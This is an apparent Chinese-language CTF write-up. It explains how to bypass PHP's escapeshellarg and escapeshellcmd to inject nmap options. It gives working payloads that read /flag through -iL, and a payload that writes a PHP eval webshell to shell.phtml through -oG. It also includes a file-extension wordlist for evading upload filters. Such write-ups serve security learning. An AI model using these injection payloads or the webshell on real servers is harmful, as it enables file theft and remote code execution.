这道题考察nmap的一些用法,以及escapeshellarg和escapeshellcmd两个函数的绕过,可以看这里PHP escapeshellarg()+escapeshellcmd() 之殇 (seebug.org)
两种解题方法:
第一种通过nmap的-iL参数读取扫描一个文件到指定文件中第二种是利用nmap的参数写入webshell
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
第一种:
这道题首先我们在注释里面看到了flag存放的位置
可以利用nmap 的-iL参数读取flag到一个文件中,我们再访问生成的文件即可
构造一个payload:
127.0.0.1' -iL /flag -o haha
经过escapeshellarg函数后
'127.0.0.1'\'' -iL /flag -o haha'(将单引号转义并用一对单引号包裹起来,再将这个语句用单引号包裹起来确保只有一个参数)
经过escapeshellcmd函数后
'127.0.0.1'\\'' -iL /flag -o haha\'
对\转义,在许多编程语言中,反斜杠被用作转义字符,用来表示特殊字符或序列。这里面两个相邻的反斜杠\表示一个单独的反斜杠字符,没有转义作用。而末尾单引号转义过后的普通字符仍然是它本身,没有变化,会被视为普通字符不具有单引号的作用了
这样就分为了三部分'127.0.0.1'和''连接空白和-iL /flag -o haha'(最后这个单引号只有一个不起作用,但它将最后的文件名变为了haha')
nmap既可扫描前面的ip,又能执行-iL /flag -o haha'
ip中输入,因为'127.0.0.1'\\执行的时候会被简化为127.0.0.1\,这个ip就错了,但是不用管报错,只要后面命令执行了我们就能访问到
记住文件名变为了haha' 直接访问即可看到flag
第二种
正常利用nmap参数-oG写一句话木马:127.0.0.1 | <?=@eval($_REQUEST['cmd']);?> -oG shell.php
显然有东西被过滤,多半是php的原因
用我这个后缀名字典burp爆破后缀发现还是有很多能用的,我们这里就用phtml了
php
php2
php3
php4
php5
pHp
pHp2
pHp3
pHp4
pHp5
html
htm
phtml
pht
Html
Htm
pHtml
asp
aspx
asa
asax
ashx
asmx
cer
aSp
aSpx
aSa
aSax
aScx
aShx
aSmx
cEr
jsp
jspa
jspx
jsw
jxv
jspf
jtml
JSp
jSpx
jSpa
jSw
jSv
jSpf
jHtml
asp/test.jpg
asp;.jpg
cer/test.jpg
cer;.jpg
asa/test.jpg
asa;.jpg
aSp/test.jpg
aSp;.jpg
cEr/test.jpg
cEr;.jpg
aSa/test.jpg
aSa;.jpg
jpg/xx.php
jpg/xx.pHp
jpg/.php
jpg/.pHp
php.xs.aa
php2.aa
php3.aa
php4.aa
php5.aa
pHp.aa
pHp2.aa
pHp3.aa
pHp4.aaa
pHp5.aa
html.aa
htm.aa
phtml.aa
pht.aaa
Html.aaa
Htm.aa
pHtml.aa
php::$DATA
构造payload:127.0.0.1 | ' <?=@eval($_POST["cmd"]);?> -oG shell.phtml '
蚁剑直接连上
escapeshellcmd
函数只会转义一些特殊字符,如单引号、双引号、反斜杠等,以防止它们被误解为命令的一部分。它并不会对<?=@eval($_POST[cmd]);?>
中的特殊字符进行转义,因为这个字符串看起来更像是PHP代码片段,而不是外部命令参数。